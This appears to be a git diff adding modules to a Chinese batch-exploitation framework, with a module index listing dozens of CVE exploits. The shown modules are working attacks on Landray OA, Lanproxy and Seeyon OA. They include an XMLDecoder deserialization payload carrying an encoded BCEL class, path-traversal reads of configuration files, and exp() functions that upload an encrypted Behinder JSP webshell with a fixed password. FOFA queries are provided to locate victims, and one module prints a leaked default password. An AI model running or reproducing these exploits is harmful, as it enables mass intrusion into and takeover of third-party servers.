poc配合框架可批量。
|
||||
42
Moudle/Landray/Landray_OA_xmldecoder_getshell.py
Normal file
@@ -0,0 +1,42 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
from Config.config_requests import ua
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='Landray_OA_xmldecoder_getshell'
|
||||
AUTHOR="境心"
|
||||
REMARK='蓝凌OA xmldecoder 反序列化漏洞'
|
||||
FOFA_RULE='app="Landray-OA系统"'
|
||||
######################################################
|
||||
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
target_url = target+"/sys/ui/extend/varkind/custom.jsp"
|
||||
headers = {
|
||||
"User-Agent": ua,
|
||||
"Accept": "text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-cn",
|
||||
"Accept-Encoding": "gzip, deflate", "Origin": "null", "Connection": "close", "Upgrade-Insecure-Requests": "1",
|
||||
"Content-Type": "application/x-www-form-urlencoded"
|
||||
}
|
||||
data = {"var": "{\"body\":{\"file\":\"/sys/search/sys_search_main/sysSearchMain.do?method=editParam\"}}",
|
||||
"fdParemNames": "11",
|
||||
"fdParameters": "<java><void class=\"com.sun.org.apache.bcel.internal.util.ClassLoader\"><void method=\"loadClass\"><string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$dbV$dbF$U$dd$D62B$E0$98KHI$934$N$Q$c0$N$974$e5$da$d8$60c0$E0$d8$b1iKeY$d8rdI$95d$Ci$ff$a7$cfy1$5de$ad$7e$40$7f$a8o$5d$3d$psu$dd$8b$d7$d2$5c$ce$ec$d9$3ag$9f$99$p$ff$fe$e7$af$bf$B$98$c5O$o$kbA$c0$a2$88$W$y$88X$c22oV$C$f8Z$c4kDDD$b1$wb$N1$Rq$ac$8bH$60C$c0$a6$80$a4$88N$y$E$b0$rb$Q$db$7c$f2$s$80$j$de$ef$8a$90$b0$X$40J$c0$be$88$7e$ce$7e$c0$fbt$A$Z$O$7e$cb$d7$b3$bc$c9$J8$U$f0$NC$db$a2fh$ee2C$eb$e8X$9a$c1$X5$L$wCWR3$d4$edj$r$af$da$fbr$5e$tK0i$w$b2$9e$96m$8d$cf$_$8d$3e$b7$a49$MO$93$8e$ad$84$x$b2f$84$cb$f2$89$ivU$c7$N$c7d$c7$ddpLcM$v$99$91$e8Zr$81A$5c$3bUT$cb$d5L$836$f98$9e$a1$7f$f40$e9m$d2e$a3$YN$b9$b6f$U$X$3cOd$bbH$b0$de$s$cb$M$81EE$bf$f2$5b$d1$J$d6s$L$V$d5e$c7$n$90$cf$92$dd$S$f7$bc$J$81d$d1$c0$cd$d8$9a$ab$da$d3$M$a1$3aF3$c3$3b7v$82$f9$9d$92$aa$eb$MBAUH$Y$9ba0$e9T$8dpEs$94p$e4uj$ed$e5$ecj$7d$85s$d6A$f5w0t$a6$5cYy$b7$r$5b$9eX$a47$J$902$ab$b6$a2$c64$$$5e$a8Q$a1$v$ee$83$84O$f1$88$e1$c9$ffPT$c0$b7$S$be$c3$91$84$ef$nS$ce$f2Ni$wa$90$e3$96$adR$x$m$_AAA$80$w$e1$YE$B$r$J$g$ca$C$deI$d0Q$R$60H0a$91$c6M$82g$Yh$94$zR$d5tO$D$n$b3$W$99Ll$c7$q$fc$A$5b$82$D$97$e1$9en$W5$e3$88$3b$3aUv$y$JUX$3c$96$T$Gw$t$9a$3e$v$bc$dd$ad$w$eb$hV$de$d8s$f2ZQ$x$c4K$96r$W$e1O$v$R$cf$9d$c9$99t5$X$3f$9dK$ac$ef$e9$ca$cc$ae$93$88E$9c$5c$s$f6$n$97$8a$94$e5x$ba$y$T$$_$d9$z$w$95$f4$fblF$3fK$ac$e7$5e$e4$e3s$baR$89ir$e6$d4$w$c4u$5d9$9b$d56$f7$j$7d$a7$b8$b4D$t$aby$a2$Y$ba$h$D$93$f0$k$a7$94$ec$83$fd$d8$e4$x$ee$f4$99$84$P8$91$f0$pOE$ef$N$fc$fa$fc$de$ny$93$_$ab$8a$7b$c7$b4_$b2U$b9$40g$40$a9$da$b6j$b8W$f3$be$d1$b1d$p$8aNN$a8$a8$baQ$93Rw$eaz$877i$ca$9e$a7Cw$e0$b7$96$f8$9e$a6$L$M$ed$3a$N$3c$L$5d$cc$d1$sw$ab$c9M$e9j0Q$d0$e4$d1$8em$ba$U$Y$85$bbj$d6$_$eb$e3$x$7f$i$95$C$d3$dc$b3p$p$86$c8F$fe$jA$a2x$d1$d2E$f1$$$D$c3$83$bf$b1$de$ac$S$df$e0$3f$ad1t$Q$T$afK$97$v$b9$e21T7$7c$b0$c7$x$8et$7bN$H$97G$e5$V$85$bb$89$b8$$$L$7e$c7$d25J$e5$b3f$c25$adDm$b2e$a9$G$a5v$f2$3f$b4$bes$87x$Js$cd$abJ$Rj$b65$7d$5dP$o$d5$e3c$9e$d9$fe$a6NE$e8$a6$8e$kF$9a3$I$5e$99$d3I$i$bf$a2$9b$8e$8aG$f4$ady$I$fek$F$e3$a5$86$e6$8fi6C3F$bd$7f$fc$i$ec$p$NZ$f0$84Z$fei$C$E$f8$Q$c0g4$92$ea$m$3c$c5$e7$d4$3f$a3$c7G$96$R$b4c$Uc$97T_R$cfQ$ed$Xh$c9$9e$a35$d3H$d7Ad$d2$z$bav$8c$e3$f9$j$ba$A$s$c83$c6$e9X$x$bd$ae$8dVJ$bf$c0W$83$3f$d8V$83$b09$5eC$a0$86$f6$g$c4$g$3a$92$X$90$b2$X$e8$a4$97$dd$7b$k$ec$aa$a1$bbu$ba$86$9e$60$90$9a$gz$cf$d1$b7$V$Mm_$a0$9f$A$D$f3$be$L$Mf$87$7c$935$M$F$ef$9fcx$de$3f1$e4$af$e1$c1D$N$9f$fc$M$df$e6G$cf$t$85$w$e6$Ii$c4$bd$9e$o$8f$81n$f2$b6$H$f7$R$c4$oz$b1$82$3e$ac$p$84$y$7d$5d$8f0$40$f8$n$da1$88$o$86$bd$c8$96$c9g$J$ZL$d2n$d0$ae$E$c2$f8$82$98$X$v$ca$X$98$s$jV$I7C$b6V$e2$Z$a6$bf$Ds$U$7b$96$UzI6$3f$89$c8ui$f9$D$c7$C$5e$91$K$f8$ca$Tq$fe$_$99$bd$a4$e2$3e$I$A$A</string><void method=\"newInstance\"></void></void></void></java>\r\n"}
|
||||
requests.post(target_url, headers=headers, data=data, timeout=5, verify=False)
|
||||
poc_url = target+"/login_test.jsp"
|
||||
res = requests.get(poc_url, timeout=5, verify=False)
|
||||
|
||||
if res.status_code == 200 and "this is a friendly test" in res.text:
|
||||
result['poc'] = NAME
|
||||
result['poc_url'] = poc_url
|
||||
return result
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1")
|
||||
BIN
Moudle/Landray/image-20210913144734740.png
Normal file
|
After Width: | Height: | Size: 83 KiB |
39
Moudle/Lanproxy/CVE_2021_3019.py
Normal file
@@ -0,0 +1,39 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='CVE-2021-3019'
|
||||
AUTHOR="Joker"
|
||||
REMARK='Lanproxy 目录遍历漏洞 '
|
||||
FOFA_RULE='header= "Server: LPS-0.1"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result={}
|
||||
vuln_url = target + "/..%2Fconf/config.properties"
|
||||
|
||||
headers = {
|
||||
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6",
|
||||
"Upgrade-Insecure-Requests": "1"
|
||||
}
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
|
||||
if "config.server" in r.text and r.status_code == 200:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['data'] = str(r.text)
|
||||
return result
|
||||
else:
|
||||
pass
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1")
|
||||
110
Moudle/Moudle_index.py
Normal file
@@ -0,0 +1,110 @@
|
||||
MOUDLE_NUM=26
|
||||
PAYLOAD_NUM=55
|
||||
|
||||
# AlibabaCanal
|
||||
from Moudle.AlibabaCanal import Alibaba_Canal_Info_Leak
|
||||
|
||||
# Apache
|
||||
from Moudle.Apache import CVE_2021_41773
|
||||
|
||||
# Confluence
|
||||
from Moudle.Confluence import CVE_2021_26084
|
||||
|
||||
# Demo
|
||||
from Moudle.Demo import Demo
|
||||
from Moudle.Demo import Test
|
||||
|
||||
# Discuz
|
||||
from Moudle.Discuz import discuz_version_change_getshell
|
||||
|
||||
# Drupal
|
||||
from Moudle.Drupal import CVE_2018_7600
|
||||
|
||||
# ESAFENET
|
||||
from Moudle.ESAFENET import CNVD_2021_26058
|
||||
|
||||
# EyouCMS
|
||||
from Moudle.EyouCMS import EyouCMS_qiantai_rce
|
||||
|
||||
# F5
|
||||
from Moudle.F5 import CVE_2020_5902
|
||||
from Moudle.F5 import CVE_2021_22986
|
||||
|
||||
# Fikker
|
||||
from Moudle.Fikker import Fikker_admin
|
||||
|
||||
# Inspur
|
||||
from Moudle.Inspur import Inspur_Any_user_login
|
||||
from Moudle.Inspur import CVE_2020_21224
|
||||
from Moudle.Inspur import Inspur_sysShell_RCE
|
||||
|
||||
# Jeecms
|
||||
from Moudle.Jeecms import Jeecms_ssrf_getshell
|
||||
|
||||
# Kangle
|
||||
from Moudle.Kangle import Kangle_Console_default_password
|
||||
|
||||
# Landray
|
||||
from Moudle.Landray import Landray_OA_anyfile_read
|
||||
from Moudle.Landray import Landray_OA_xmldecoder_getshell
|
||||
|
||||
# Lanproxy
|
||||
from Moudle.Lanproxy import CVE_2021_3019
|
||||
|
||||
# Nexus
|
||||
from Moudle.Nexus import CVE_2019_7238
|
||||
|
||||
# Seeyon
|
||||
from Moudle.Seeyon import CNVD_2019_19299
|
||||
from Moudle.Seeyon import CNVD_2020_62422
|
||||
from Moudle.Seeyon import CNVD_2021_01627
|
||||
from Moudle.Seeyon import Information_seeyou
|
||||
from Moudle.Seeyon import Seeyon_OA_SessionLeak_Upload
|
||||
from Moudle.Seeyon import Seeyon_OA_Session_Leak
|
||||
from Moudle.Seeyon import Seeyon_OA_SQLInjection
|
||||
|
||||
# SonarQube
|
||||
from Moudle.SonarQube import CVE_2020_27986
|
||||
|
||||
# Spring
|
||||
from Moudle.Spring import CVE_2022_22947
|
||||
|
||||
# TDXK
|
||||
from Moudle.TDXK import TDXK_Any_file_upload
|
||||
from Moudle.TDXK import TDXK_Any_user_login
|
||||
from Moudle.TDXK import TDXK_logined_any_file_upload
|
||||
from Moudle.TDXK import TDXK_online_user_login
|
||||
from Moudle.TDXK import TDXK_weakpwd
|
||||
|
||||
# TianQing
|
||||
from Moudle.TianQing import TianQing_SQLinjection
|
||||
from Moudle.TianQing import TianQing_Unauthorized
|
||||
|
||||
# VCenter
|
||||
from Moudle.VCenter import CVE_2021_21972
|
||||
from Moudle.VCenter import CVE_2021_22005
|
||||
|
||||
# VRealize
|
||||
from Moudle.VRealize import CVE_2021_21975
|
||||
from Moudle.VRealize import CVE_2021_21983
|
||||
|
||||
# Weaver
|
||||
from Moudle.Weaver import CNVD_2019_32204
|
||||
from Moudle.Weaver import Weaver_e_Bridge_file_read
|
||||
from Moudle.Weaver import Weaver_e_Cology_RCE
|
||||
from Moudle.Weaver import Weaver_e_cology_v9_file_upload
|
||||
from Moudle.Weaver import Weaver_OA_V8_sqlinjection
|
||||
|
||||
# Weblogic
|
||||
from Moudle.Weblogic import CVE_2014_4210
|
||||
from Moudle.Weblogic import CVE_2017_10271
|
||||
from Moudle.Weblogic import CVE_2018_2894
|
||||
from Moudle.Weblogic import CVE_2019_2725
|
||||
from Moudle.Weblogic import CVE_2020_16882
|
||||
from Moudle.Weblogic import CVE_2021_2109
|
||||
from Moudle.Weblogic import Weblogic_Console_Info_Leak
|
||||
|
||||
# Zabbix
|
||||
from Moudle.Zabbix import CVE_2016_10134
|
||||
from Moudle.Zabbix import Zabbix_Console_default_password
|
||||
|
||||
69
Moudle/Nexus/CVE_2019_7238.py
Normal file
52
Moudle/Seeyon/CNVD_2019_19299.py
Normal file
@@ -0,0 +1,52 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import sys
|
||||
import requests
|
||||
import base64
|
||||
from Config.config_requests import ua
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='CNVD-2019-19299'
|
||||
AUTHOR="Joker"
|
||||
REMARK='致远OA A8 htmlofficeservlet RCE '
|
||||
FOFA_RULE='title="致远A8-V5协同管理软件 V6.1sp1"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
vuln_url = target + "/seeyon/htmlofficeservlet"
|
||||
headers = {
|
||||
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
|
||||
}
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
|
||||
if r.status_code==200 and 'htmoffice' in r.text:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
|
||||
def exp(target):
|
||||
print('[#]开始写入webshell')
|
||||
vuln_url= target + "/seeyon/htmlofficeservlet"
|
||||
payload="REJTVEVQIFYzLjAgICAgIDM1MSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNTMzICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVgpPUFRJT049UzNXWU9TV0xCU0dyCmN1cnJlbnRVc2VySWQ9elVDVHdpZ3N6aUNBUExlc3c0Z3N3NG9Fd1Y2NgpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYKUkVDT1JESUQ9cUxTR3c0U1h6TGVHdzRWM3dVdzN6VW9Yd2lkNgpvcmlnaW5hbEZpbGVJZD13VjY2Cm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2CkZJTEVOQU1FPXFmVGRxZlRkcWZUZFZheEplQUpRQlJsM2RFeFF5WU9kTkFsZmVheHNkR2hpeVlsVGNBVGRPUldaTjF5dmRSMzVuSHpzCm5lZWRSZWFkRmlsZT15UldaZEFTNgpvcmlnaW5hbENyZWF0ZURhdGU9d0xTR1A0b0V6TEtBejQ9aXo9NjYKPCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iM2M5NjFmNDlkNWZhOTZjNSI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT42ZTRmMDQ1ZDRiODUwNmJmNDkyYWRhN2UzMzkwZDdjZQ=="
|
||||
data = base64.b64decode(payload)
|
||||
headers = {
|
||||
"User-Agent": ua,
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r = requests.post(url=vuln_url,headers=headers,data=data,verify=False,timeout=5)
|
||||
if r.status_code==500 and '"message":null' in r.text:
|
||||
print('[+]成功写入webshell')
|
||||
print('[+]默认冰蝎Webshell地址(szxsd):' + target + '/seeyon/Faltform.jsp')
|
||||
else:
|
||||
print('写入webshell失败!')
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("https://127.0.0.1")
|
||||
30
Moudle/Seeyon/CNVD_2020_62422.py
Normal file
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
from Config.config_requests import ua, headers
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='CNVD_2020_62422'
|
||||
AUTHOR="Joker"
|
||||
REMARK='致远OA webmail.do任意文件下载检测'
|
||||
FOFA_RULE='title="致远'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
vuln_url = target + "/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties"
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
|
||||
if 'workflow.dialect' in r.text and r.status_code==200:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc('http://127.0.0.1')
|
||||
50
Moudle/Seeyon/CNVD_2021_01627.py
Normal file
@@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import sys
|
||||
import requests
|
||||
from Config.config_requests import ua
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='CNVD-2021-01627'
|
||||
AUTHOR="Joker"
|
||||
REMARK='致远OA ajax.do登录绕过 任意文件上传'
|
||||
FOFA_RULE='title="致远"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
test_url1 = target + "/seeyon/thirdpartyController.do.css/..;/ajax.do"
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
|
||||
}
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r = requests.get(url=test_url1, headers=headers, verify=False, timeout=5)
|
||||
if 'java.lang.NullPointerException:null' in r.text:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
|
||||
def exp(target):
|
||||
print('\033[32m[#]开始写入webshell')
|
||||
test_url2 = target + "/seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip"
|
||||
headers={
|
||||
"User-Agent": ua,
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
data="managerMethod=validate&arguments=%1F%C2%8B%08%00%C3%9F%C2%8B%C3%B6%60%00%C3%BFuT%5Bs%C2%AA%C3%88%13%7F%C3%9FOa%C3%B9bR9k%10%C3%A4%18%C3%BF%C2%A7%C3%B6%21%5E%40D%C2%89%C2%82r%C3%BB%C3%97%3E%C3%80%0C%C3%A1%C3%A2%0C%C2%B0%0E%20c%C3%AA%7C%C3%B73%C2%80%C2%A9%C3%A4%C3%94fy%C2%99%C2%9E%C2%A6%C3%BB7%C3%9D%C2%BF%C2%BE%C3%BC%C3%BFm%C3%B0%C2%9A%C2%9Dq%C2%89%C2%BC%03%C3%8D%C2%83%C3%81%C3%BFz%C2%A3o%C2%BDw%C2%8D%C3%A6%C3%A1F3%28%02R%0C%3E%C3%94%C3%8B%3A%3F%07%C2%84%C3%84Y%C3%9A%C3%BC4%C2%8As%C2%9C%C2%86%C2%BD%C3%9C%2B%C2%A2%C3%9E%5F%C2%BD%C3%BEp%C3%B8x%09%7C%2F%C3%8F%C3%89%23%09%02%C2%9A%C2%A5%C2%8F%C3%BD%1F%7F%C3%B4n%5F%C3%A2U%C3%9E0%C3%8E%C2%86%3B%C3%A6RX%C3%A7%C2%B8%08%C3%8E%C2%BD%C3%BCC%C3%A6%19%40%1A%5C%C2%BE2%C2%BBk%C3%B0%1F%C3%BA%C2%92%C2%87%C2%8A%26%C2%8AaB%C3%B2%C2%BA%7F%C3%BF%C2%81%7C%C2%8B%C2%82D%01BM%18%3B9%C2%BF%C2%82EN%7D%7E%C3%8A%29%C2%AB%C2%A8%C3%B0e%C3%B1%C3%BA%C2%82%1B%1D%17%7B%2B%C2%9D%03%C2%8B%C2%AC%C3%9A%C3%B0y%04%C3%B1%C2%B2%04%C2%82Yn%C2%B0V%C3%B9%C3%86T%3D%C2%8E%C2%9E%C2%AB%C2%A3%2C%C2%A5%C2%AE%C2%A1%C2%84%10%C2%9B%14%C3%B0%C2%A8%C3%B2%13%2E%C3%9E%1Ac%C2%AA%24%C3%A3%27%2F%C3%95%2E%2FX%C3%8F%016%13%28%23%C3%9E5%C3%84%C2%8BcA%C2%A4%C3%88%C2%A8%00%C3%B2%C2%94%C3%82%06%1FK%C2%BCc%C2%88%23%C3%B6%C2%9Fl%C3%A2%C2%8C%C2%B4w%3B%2C%1Da%2D%C2%82%C2%95%5E%7D%C2%A9c%C2%B8%C2%AE%C2%B5%2D%C3%95X%C2%A9vI%C3%BD%0F%10%C2%9E%C2%BF%C2%BB%C2%B2%C2%99%C3%B8%C2%B2D%1D%5B%C3%8F%7D%7E%C3%BC%C2%A0%C3%88%1Aql%C3%AD%C2%AAH%C3%87%C3%90%C2%B5%23%C3%8E%C2%B5%C3%84%13%C2%A0%C2%B3%05%C2%B3%C2%B9%02%C2%AE%C2%AE%1CKG%20%2DLu%C3%99%C3%99%1D%C3%A4i%C3%840%C2%A8%22o%C3%B3%40%C3%90F%C2%80%C3%89%2A%C2%93%5F%C2%84%C3%91%05Zk%C3%A2Y%C3%9Bp%C3%8F%C3%97%11%10%C2%B6%C2%A1K%C2%A38%C2%B0u%C2%A4H%05tb4a%C3%B9q%C3%90%5E%C2%97%C3%8A%C2%AA%C3%B3%C3%9B%60%1D%C2%B9%18%C2%95%C3%AE%C2%B1%C3%83Ve%C2%85l%C3%A7u%C2%BC%C3%815%C3%B21%C3%A4%C2%BC%C3%B9i%C3%B2jsO%C2%8C%C3%93%C2%86%C3%B7%C2%93k5v%C3%AB%C2%88q%C3%80%C3%B8%C2%BB%C3%B1%C2%96j%09%C3%80%C3%A8%02%C3%A5%1A%C3%81%C2%85x%C2%80%C2%ABu%C3%AEc%10zW%C3%86%2F%C2%BF%15%C2%B5D%C3%82%C3%9A%02%C2%9D4%C3%8B%C2%8D%5E%0En%C2%A2%19%C3%8A%04%C3%B0%C3%A6%C2%B5%C2%ADA%2C%5E%C2%A0%C2%AD%5B%C2%8EU%C2%8F%5C%23%C2%8C%C2%A1%C2%A1%10%C2%8F%C2%9E%26%7B%1E%5D%C2%BC%2E%C3%87%C3%A9%C2%BB%C2%BC%C3%81%10%C3%81%25bu%C3%95%23%1FkH%C2%9D%C2%AFg%C2%BA%C2%B9%C2%8D%C3%95C%C2%91lX%0E%C2%9E%C2%BD%C3%8F%C2%B6q%5D%C2%BA6%08%C2%8F%C2%BC%C3%89b29%C2%837%C3%85%C2%A30C%0E%0D%C2%B3Oo%C2%A6%C3%AE%C3%AFo%C3%A6%2AUb%C3%95h%C3%B5%C3%B3%C2%86%2F%40%C3%83%7C%C3%B3%C2%8Eo%C2%9C%26%3E6%05V%C2%9F%0C%C3%8AQ%0Ehk%C3%97%C3%95%C2%A7%C2%B1k%C3%A3%C3%BA%C2%BD6%C3%AA%C3%BC%C3%84%C3%B4%20s%C2%A8x%C3%B29%C2%97%C3%B1%21%11U%16%11%C2%A4%C2%B3%2B%C2%B4%C3%86%C2%A5o%C2%A1%2B%C3%BB7%C3%9F%C2%9B%C2%9A%C2%A4%25%C3%BA%C2%92%C3%B1Z%C3%9D%C3%BC%C3%8A%C2%B6%3Fx%1D%C3%ADS%13%C2%BB%C2%ACW%C3%95%C3%95%1A%01%C3%9BD%40%C3%98%C2%97%2EorGl%C2%BE%C2%BFQ%C2%B2%1C%23%C2%97%0D%C2%AE%C2%8F%C2%8F%19%C2%8B3g9%C2%B0%C3%BC%C3%A1%C3%9AO5%C3%8E%C2%B1%C3%84%C2%84%C3%A5%C3%87%C3%A20khI%04%C3%90%C2%A8%C3%AD%C3%A9%3D%3F%2D%C2%A1l%C2%8E%21%C2%AB%C3%ADn%3Em%7B%12%C3%B0%1A%C3%B5%C3%AC%19%C3%A7%C3%8B%26%C2%B7K%2EUW%C3%97u%C3%A5%0B%C3%BB%C2%87O%C2%83N%C3%8At%C2%88c%02%C2%86%C2%B3gc%C3%B9%7D%C2%BC%08%40%06%C3%99%C2%AC%C3%83%C3%9B%C3%99%C2%8D%C3%B9%C3%97Fw%C3%BF%C2%9E%C3%AA%C3%8E%C3%ADv%C3%A9%7C%C2%BB%C3%8B%C3%9D%0Dp%C3%98%C2%9D%C2%B3%C3%B2%C3%B5%C2%95%01%C2%B4K%C3%A0%C3%BE%5B%C3%BFx%C2%90%C3%BE%7C%C3%BA%C2%BC%24%3E%C2%AF%C2%9Aa%7BA%C3%A9%0D%C2%A2%C3%83%C3%BB%2F%5B%C2%802%12%C2%B0%C3%80%7E%C3%BEhV%21%13%60%C3%B0%C3%9A%23%C2%85W%C3%84%C2%A0W%C3%97%C3%B5%C3%9D%C3%BD%C3%9B%C3%A0%27%C3%9B%C2%8FlG%C2%BE5gq%2E%C2%83%C3%81%C3%9F%C2%BF%00%26%C2%ABR%C3%89Z%05%00%00"
|
||||
r = requests.post(url=test_url2,headers=headers,data=data,verify=False,timeout=5)
|
||||
if r.status_code==500 and '"message":null' in r.text:
|
||||
print('\033[32m[#]成功写入webshell')
|
||||
print('webshell地址:'+target+'/seeyon/Faltform.jspx'+'\n'+'[32m[#]密码:szxsd')
|
||||
else:
|
||||
print('[32m[#]写入webshell失败')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("https://127.0.0.1")
|
||||
63
Moudle/Seeyon/Information_seeyou.py
Normal file
@@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
from Config.config_requests import ua, headers
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='Seeyon_OA_Info_Leak'
|
||||
AUTHOR="Joker"
|
||||
REMARK='致远OA 敏感信息泄露'
|
||||
FOFA_RULE='title="致远A8+协同管理软件.A6"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
vuln_url1 = target + "/yyoa/createMysql.jsp"
|
||||
vuln_url2 = target + "/yyoa/ext/createMysql.jsp"
|
||||
vuln_url3 = target + "/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0"
|
||||
vuln_url4 = target + "/yyoa/assess/js/initDataAssess.jsp"
|
||||
vuln_url5 = target + "/seeyon/management/status.jsp"
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r1 = requests.get(url=vuln_url1, headers=headers, verify=False, timeout=5)
|
||||
r2 = requests.get(url=vuln_url2, headers=headers, verify=False, timeout=5)
|
||||
r3 = requests.get(url=vuln_url3, headers=headers, verify=False, timeout=5)
|
||||
r4 = requests.get(url=vuln_url4, headers=headers, verify=False, timeout=5)
|
||||
r5 = requests.get(url=vuln_url5, headers=headers, verify=False, timeout=5)
|
||||
if 'root' in r1.text and r1.status_code == 200:
|
||||
result['信息泄露path1'] = vuln_url1
|
||||
else:
|
||||
pass
|
||||
if 'root' in r2.text and r2.status_code == 200:
|
||||
result['信息泄露path2'] = vuln_url2
|
||||
else:
|
||||
pass
|
||||
if 'xls' in str(r3.headers).lower() and r3.status_code == 200:
|
||||
result['信息泄露ppath3'] = vuln_url3
|
||||
else:
|
||||
pass
|
||||
if 'personList' in r4.text and r4.status_code == 200:
|
||||
result['信息泄露path4'] = vuln_url4
|
||||
else:
|
||||
pass
|
||||
if 'Password' in r5.text and r5.status_code == 200:
|
||||
result['信息泄露path5'] = vuln_url5 +" 默认密码:WLCCYBD@SEEYON"
|
||||
else:
|
||||
pass
|
||||
|
||||
if result:
|
||||
tmpdic={
|
||||
'target':target,
|
||||
'poc':NAME
|
||||
}
|
||||
result=dict(tmpdic,**result)
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("https://127.0.0.1")
|
||||
97
